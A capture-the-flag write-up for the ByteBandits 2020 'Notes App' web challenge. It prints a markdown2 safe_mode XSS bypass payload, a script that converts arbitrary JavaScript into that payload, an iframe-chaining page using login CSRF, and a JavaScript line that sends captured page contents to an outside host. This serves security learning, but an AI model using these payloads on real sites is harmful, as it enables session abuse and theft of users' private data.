ByteBandits 2020 Notes App
For this task, a very simple Python application and its source code is provided.
The application let us register, login, submit a link and edit a single field “note” that will be displayed on /profile
.
The application code is pretty straightforward and allows us to insert markdown on our own profile page.
The python code responsible for markdown rendering (md2html) is the following:
@app.route("/update_notes", methods=["POST"])
@login_required
def update_notes():
# markdown support!!
current_user.notes = markdown2.markdown(request.form.get("notes"), safe_mode=True)
db.session.commit()
return redirect("/profile")
Looking in the requirements.txt
shows us that this is the latest version of markdown2
:
markdown2==2.3.8
However, I found this github issue: github issue # 341
A possible injection is demonstrated:
<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/\*](http://g)->a>
This will be rendered as:
<p><http://g<!s://q?<!-<<a href="http://g"><script>alert(1);/*</a>->a><http://g<!s://g.c?<!-<<a href="http://g">a\\*/</script>alert(1);/*</a>->a></p>
Then, I tried that on my profile page and it worked.
This should be a good entry point to our exploitation steps.
Having a working payload is cool, but remember that the payload is reflected on the /profile
page so we are not going to be able to send this link to the admin.
By the way, the admin uses this code to access our page:
async def main(url):
browser = await launch(headless=True,
executablePath="/usr/bin/chromium-browser",
args=['--no-sandbox', '--disable-gpu'])
page = await browser.newPage()
await page.goto("https://notes.web.byteband.it/login")
await page.type("input[name='username']", "admin")
await page.type("input[name='password']", os.environ.get("ADMIN_PASS"))
await asyncio.wait([
page.click('button'),
page.waitForNavigation(),
])
await page.goto(url)
await browser.close()
First, he authenticates himself on the application, and then access the URL provided.
Also, another important thing to notice is that the /login
endpoint accepts GET and does not have any check on the HTTP verb used:
@app.route("/login", methods=["GET", "POST"]) # Accepts GET and POST
def login():
# Redirect the user if he is already authenticated.
if current_user.is_authenticated:
return redirect("/profile")
if request.args.get("username"):
id = request.args.get("username")
password = request.args.get("password")
user = User.query.filter_by(id=id).first()
if user and user.check_password(password=password):
login_user(user)
return redirect("/profile")
flash("Incorrect creds")
return redirect("/login")
return render_template("login.html")
So, here is our strategy:
Send to the admin, a page containing 3 iframes:
- The first one will point to the
/profile
page - The second one will point to the
/logout
page after the first one rendered (Used to logout the admin before we access/login
for the third one) - The third one will point to our profile
https://notes.web.byteband.it/login?username=SakiiR&password=SakiiR
and execute arbitrary Javascript
The third iframe is the most important and will retrieve information from the parent iframe pointing to /profile
to retrieve the admin note.
Before triggering the admin on this custom hosted page, we have to host script on our profile page.
To do that, I used a simple script reading arbitrary Javascript and “converting” it into a markdown2 payload:
#!/usr/bin/env python3
# @SakiiR
import base64
from urllib.parse import quote_plus as urlencode
def main():
content = ""
with open("payload.js", "rb") as f:
content = base64.b64encode(f.read()).decode()
f.close()
payload = urlencode(content)
print(
f"%3Chttp%3A%2F%2Fg%3C%21s%3A%2F%2Fq%3F%3C%21-%3C%5B%3Cscript%3Eeval%28atob%28%27{payload}%27%29%29%3B%2F%5C*%5D%28http%3A%2F%2Fg%29-%3Ea%3E%3Chttp%3A%2F%2Fg%3C%21s%3A%2F%2Fg.c%3F%3C%21-%3C%5Ba%5C%5C*%2F%3C%2Fscript%3Eeval%28atob%28%27{payload}%27%29%29%3B%2F*%5D%28http%3A%2F%2Fg%29-%3Ea%3E"
)
if __name__ == "__main__":
main()
I also used this following Javascript file to retrieve the parent iframe content:
let content = top.frames[0].document.documentElement.innerHTML;
content = btoa(content);
window.location.replace("http://sakiir.ovh:31337/?exfil=" + content);
The following HTML page has been hosted on sakiir.ovh
to perform the iframe thing:
<html>
<head></head>
<body>
<iframe
style="width: 100%;"
id="aframe"
src="https://notes.web.byteband.it/profile"
></iframe>
<!-- First action, retrieve the admin /profile into the iframe -->
<iframe style="width: 100%;" id="bframe" src=""></iframe>
<iframe style="width: 100%;" id="cframe" src=""></iframe>
<script>
const a = document.getElementById("aframe");
const b = document.getElementById("bframe");
const c = document.getElementById("cframe");
b.onload = () => {
// Third action, login as me and get redirected on my own /profile containing Javascript retrieving the **aframe** content
c.src =
"https://notes.web.byteband.it/login?username=SakiiR4&password=test";
};
// Second action, logout the admin so that he can login as me
a.onload = () => {
b.src = "https://notes.web.byteband.it/logout";
};
</script>
</body>
</html>
Everything’s ready, we send the link to the admin via the /visit_link
endpoint and get the flag:
flag{ch41n_tHy_3Xploits_t0_w1n}